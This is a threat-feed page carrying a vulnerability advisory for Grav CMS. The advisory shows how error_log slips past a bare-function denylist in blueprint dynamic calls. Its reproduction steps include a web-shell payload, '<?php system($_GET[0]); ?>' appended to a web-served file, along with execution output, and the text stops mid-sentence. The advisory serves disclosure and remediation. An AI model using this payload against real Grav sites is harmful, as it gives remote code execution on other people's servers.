Skip to main content

Threats Tagged 'ghsa-f8wv-xp27-6gq7'

View all threats tagged with 'ghsa-f8wv-xp27-6gq7'. Filter and sort to focus on specific types of threats.

Pro Console Lifetime

Stop chasing alerts. Route them.

Start free, then upgrade once to turn Radar into an automated delivery engine for your security stack.

Custom feeds / Automations: email, Slack, webhooks, SIEM/MISP / API access (baseline limits)

View Plans & Pricing

API access activates after upgrading in Console -> Billing.

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now

Filter Threats

Narrow down the results by type, severity, or affected countries

Search threats by title, CVE ID, or description. Maximum 100 characters.
Active filters (1):Tag: ghsa-f8wv-xp27-6gq7

Threats Tagged 'ghsa-f8wv-xp27-6gq7'

Click on any threat for detailed analysis and mitigation recommendations

## Affected versions and vulnerable location - Confirmed on grav core at `78ebfc1` (tag 2.0.13). - Sinks: - `system/src/Grav/Common/Data/Blueprint.php:455-458` `call_user_func_array($o, $params)` (bare-function dynamic-data provider). - Twin: `system/src/Grav/Framework/Flex/FlexDirectory.php:936-938` `call_user_func_array($function, $params)`. - Validation gate: `Blueprint::isSafeDynamicCall()` at `Blueprint.php:514-536`. - `Class::method` branch (`:514-527`) uses a strict positive allowlist `self::$allowedDynamicCallables`. - Bare-function branch (`:530-534`) uses only a denylist: `if (is_string($function) && Utils::isDangerousFunction($function)) return false; return !self::paramsContainDangerousCallable($params);`. - Denylist: `Utils::isDangerousFunction()` (`system/src/Grav/Common/Utils.php`, list around `:2020-2270`). ## Root cause GHSA-7pgq/CVE-2026-64850 hardened the `Class::method` half of the dynamic-callable validation to a positive allowlist because a page-edit account could otherwise name any static method as a provider and reach file/secret gadgets. The bare-function half was left on a denylist (`isDangerousFunction`). Any bare PHP function not on that list executes. `error_log` is not on the denylist (verified: no occurrence in `Utils.php`). `error_log($message, 3, $destination)` appends attacker-controlled `$message` to attacker-controlled file `$destination`, an arbitrary-file-append primitive. `paramsContainDangerousCallable()` (`:587-603`) only scans params for dangerous callable strings, so a PHP payload string and a destination path both pass. (`stream_socket_client`, `dl`, and `mb_send_mail` are likewise absent, giving SSRF/other primitives.) ## Attacker model The same surface the published dynamic-data advisories accept as reachable: a `data-*@` directive in a form blueprint the Form plugin assembles from page frontmatter (GHSA-fj2p), or a `data@` field in a Flex directory/pages/users blueprint (GHSA-c4wf). A page-edit / blueprint-config account, no shell. ## Reachability trace 1. Author a blueprint field with a bare-function data directive, e.g. `data-options@: ['error_log', '<?php system($_GET[0]); ?>', 3, 'user/data/x.php']`. 2. `Blueprint::init()` resolves the directive; `isSafeDynamicCall('error_log', $params)` reaches the bare-function branch (`:530`), `isDangerousFunction('error_log')` is false, `paramsContainDangerousCallable([...])` is false (no callable strings), so it returns true. 3. `call_user_func_array('error_log', ['<?php ...', 3, 'user/data/x.php'])` (`:455`) appends the PHP payload to `user/data/x.php`. 4. Writing to a web-served path (or any path later included) yields code execution. The upload extension denylist does not apply, this is a direct `error_log` write, not an upload. ## Reproduction Executed end to end against the real `Grav\Common\Data\Blueprint` class loaded via `composer install` autoload (PHP 8.5.8, core clone at HEAD 78ebfc1). A harness called the real public `Blueprint::isSafeDynamicCall()`, then drove the sink and executed the written file: ```text [1] isSafeDynamicCall('error_log', [payload,3,dest]) => true # guard ACCEPTS error_log (bug) [2] isSafeDynamicCall('system', ['id']) => false # control isSafeDynamicCall('exec', ['id']) => false # control [3] call_user_func_array('error_log', ['<?php echo "PWNED"; ?>'.EOL, 3, '/tmp/grav_rce_proof.php']) file written: /tmp/grav_rce_proof.php (23 bytes) = <?php echo "PWNED"; ?> [4] php /tmp/grav_rce_proof.php => PWNED # arbitrary PHP executed (RCE) ``` The guard returns true for `error_log` (and false for the denylisted `system`/`exec` controls), the `error_log` sink wrote attacker PHP to disk, and executing that file yielded `PWNED`. Source confirmation: ```bash rg -n "error_log|stream_socket_client|mb_send_mail" system/src/Grav/Common/Utils.php # no hits rg -n "isDangerousFunction|allowedDynamicCallables|call_user_func_array" system/src/Grav/Common/Data/Blueprint.php ``` `error_log` absent from `Utils.php`; `Blueprint.php` gates the bare-function branch on `isDangerousFunction` only, while the `Class::method` branch uses the positive allowlist. ## Suggested fix Convert the bare-function branch to a positive allowlist, symmetric with the `Class::method` allowlist at `:523` (only the option-provider functions first-party blueprints actually use). A denylist cannot be complete: `error_log` (arbitrary append), `stream_socket_client` (SSRF), and others must otherwise each be enumerated. ## Severity and CVSS reasoning Suggested severity: High (same class and reach as GHSA-fj2p / CVE-2026-64850). Suggested CVSS:3.1 vector: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` (9.6) for the RCE outcome; the maintainer may prefer the exact rating they gave GHSA-fj2p. - `PR:L`: a blueprint/page-edit account, not super. - `C:H/I:H/A:H`: arbitrary file write leading to code execution. ## How I found it and a note on

Join the discussion

Showing 1 to 1 of 1 result

Filters:Tag: ghsa-f8wv-xp27-6gq7
Page 1 of 1
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses